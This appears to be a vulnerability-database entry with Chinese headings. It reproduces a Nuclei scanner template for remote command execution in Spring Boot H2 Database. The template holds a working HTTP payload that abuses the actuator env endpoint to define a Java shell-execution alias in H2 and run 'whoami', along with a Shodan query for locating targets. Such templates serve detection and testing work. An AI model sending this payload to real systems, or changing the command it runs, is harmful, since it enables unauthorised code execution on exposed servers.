springboot-h2-db-rce: Spring Boot H2 Database - Remote Command Execution

日期: 2025-08-01 | 影响软件: Spring Boot H2 Database | POC: 已公开

漏洞描述

Spring Boot H2 Database is susceptible to remote code execution.

PoC代码[已公开]

id: springboot-h2-db-rce

info:
  name: Spring Boot H2 Database - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Spring Boot H2 Database is susceptible to remote code execution.
  reference:
    - https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
    - https://twitter.com/pyn3rd/status/1305151887964946432
    - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
    - https://github.com/spaceraccoon/spring-boot-actuator-h2-rce
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
    cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:116323821
    product: h2
    vendor: h2database
  tags: springboot,rce,jolokia,vuln

http:
  - raw:
      - |
        POST /actuator/env HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "name":"spring.datasource.hikari.connection-test-query",
          "value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('whoami');"
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT'
# digest: 4b0a00483046022100fd16d600006d3ee1a11258761abe42f1004f09c1c7465aa0f6ef4576bf9cc0ef02210082e1f05934467b2f208bab1cb66f6cb1c8ff71395e584bf928ee6b7150735678:922c64590222798bb761d5b6d8e72950

相关漏洞推荐